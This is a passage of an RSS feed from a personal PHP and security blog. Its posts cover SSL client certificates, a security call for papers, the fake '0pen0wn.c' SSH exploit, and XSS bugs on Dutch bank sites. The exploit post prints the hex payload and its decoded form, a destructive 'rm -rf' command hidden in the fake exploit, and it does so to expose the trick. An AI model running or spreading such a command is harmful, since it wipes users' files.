[SSL_CLIENT_I_DN_OU] => lab<br />
[SSL_CLIENT_I_DN_CN] => lab<br />
[SSL_CLIENT_I_DN_Email] => my@email.tld</p></blockquote>
<p>Now it&#8217;s time for the fun part. </p>
]]></content:encoded>
			<wfw:commentRss>http://lenss.nl/2011/02/apache-ssl-client-side-certificate-data-in-php/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Month of PHP Security 2010</title>
		<link>http://lenss.nl/2010/03/month-of-php-security-2010/</link>
		<comments>http://lenss.nl/2010/03/month-of-php-security-2010/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 11:42:38 +0000</pubDate>
		<dc:creator>Thijs Lensselink</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[php-security]]></category>
		<category><![CDATA[SektionEins]]></category>

		<guid isPermaLink="false">http://lenss.nl/?p=717</guid>
		<description><![CDATA[After a successful experiment a while back Month of the PHP Bugs. Stefan Esser and SektionEins is at it again. This time with Month of PHP Security. A gathering for PHP and security gurus a like. The call for papers is open for submission. There are some nice prices to walk away with. So what [...]]]></description>
			<content:encoded><![CDATA[<p>After a successful experiment a while back <a href="http://blog.php-security.org/archives/71-Month-of-PHP-Bugs-and-PHP-5.2.1.html">Month of the PHP Bugs</a>. Stefan Esser and <a href="http://www.sektioneins.com/">SektionEins</a> is at it again. This time with Month of PHP Security. A gathering for PHP and security gurus a like. The call for papers is <a href="http://www.php-security.org/">open for submission</a>. </p>
<p>There are some nice prices to walk away with. So what you waiting for?</p>
<ul>
<li>New vulnerability in PHP [1] (not simple safe_mode, open_basedir bypass vulnerabilities)</li>
<li>New vulnerability in PHP related software [1] (popular 3rd party PHP extensions/patches)</li>
<li>Explain a single topic of PHP application security in detail (such as guidelines on how to store passwords)</li>
<li>Explain a complicated vulnerability in/attack against a PHP widespread application [1]</li>
<li>Explain a complicated topic of attacking PHP (e.g. explain how to exploit heap overflows in PHP&#8217;s heap implementation)</li>
<li>Explain how to attack encrypted PHP applications</li>
<li>Release of a new open source PHP security tool</li>
<li>Other topics related to PHP or PHP application security</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://lenss.nl/2010/03/month-of-php-security-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>0pen0wn.c what a joke</title>
		<link>http://lenss.nl/2009/07/0pen0wn-c-what-a-joke/</link>
		<comments>http://lenss.nl/2009/07/0pen0wn-c-what-a-joke/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 12:07:45 +0000</pubDate>
		<dc:creator>Thijs Lensselink</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hex]]></category>
		<category><![CDATA[joke]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://lenss.nl/?p=500</guid>
		<description><![CDATA[So there have been a lot of rumors lately about some remote SSH exploit. And to throw a bit of fuel on the fire some hacker / group have released what they call an exploit. This piece of code is just hilarious. At a first glance it looks like a real exploit. But when you [...]]]></description>
			<content:encoded><![CDATA[<p>So there have been a lot of <a href="http://seclists.org/fulldisclosure/2009/Jul/0028.html">rumors</a> lately about some remote SSH exploit. And to throw a bit of fuel on the fire some hacker / group have released what they call an exploit. This piece of <a href="http://blogs.securiteam.com/index.php/archives/1302">code</a> is just hilarious. At a first glance it looks like a real exploit. But when you take the time to decode the HEX blocks. It will become obvious this is not what it seems to be.</p>
<p>there are three blocks with HEX characters. The last two transform into some perl scripts that seem to make contact with an IRC server. This code seems to be bogus. The first and smallest HEX block is interesting though.</p>
<blockquote><p>\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f<br />
\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26</p></blockquote>
<p>When decoded back to ASCII characters. This reads:</p>
<blockquote><p>rm -rf ~ /* 2> /dev/null &#038;</p></blockquote>
<p>The code used for the decoding is a simple PHP script:</p>
<pre name="code" class="php">
foreach (explode('\x', $str) as $char) echo chr(hexdec($char);
</pre>
]]></content:encoded>
			<wfw:commentRss>http://lenss.nl/2009/07/0pen0wn-c-what-a-joke/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>XSS vulnerability on Dutch bank websites</title>
		<link>http://lenss.nl/2009/03/xss-vulnerability-on-dutch-bank-websites/</link>
		<comments>http://lenss.nl/2009/03/xss-vulnerability-on-dutch-bank-websites/#comments</comments>
		<pubDate>Fri, 20 Mar 2009 12:06:02 +0000</pubDate>
		<dc:creator>Thijs Lensselink</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[Bank]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://lenss.nl/?p=398</guid>
		<description><![CDATA[My wife just send me a link to security.nl. Pointing to an article about XSS vulnerability in Dutch banking websites. And since i am from the Netherlands. I thought to check this out a bit. security.nl states that a &#8220;security researcher&#8221; found XSS bugs in most of Dutch websites. With a link that seems to [...]]]></description>
			<content:encoded><![CDATA[<p>My wife just send me a link to <a href="http://www.security.nl/artikel/28043/1/Hacker_vindt_lek_in_websites_Nederlandse_banken_.html">security.nl</a>. Pointing to an article about <a href="http://ha.ckers.org/xss.html">XSS</a> vulnerability in Dutch banking websites. And since i am from the Netherlands. I thought to check this out a bit.</p>
<p>security.nl states that a &#8220;<a href="http://security.zarco.nl/">security researcher</a>&#8221; found XSS bugs in most of Dutch websites. With a link that seems to point to the &#8220;researchers&#8221; blog. I don&#8217;t know about you. But i personally don&#8217;t trust websites that i never seen before. Let alone &#8220;researchers&#8221; that have absolutely no credibility in the scene. However the XSS bugs are real. But is this really something to write about? Showing an alert box on a screen shot seems very lame to me. I wonder if this is even exploitable at all?</p>
<p>One good point is that at least one bank responded in time and fixed the bug.</p>
]]></content:encoded>
			<wfw:commentRss>http://lenss.nl/2009/03/xss-vulnerability-on-dutch-bank-websites/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->
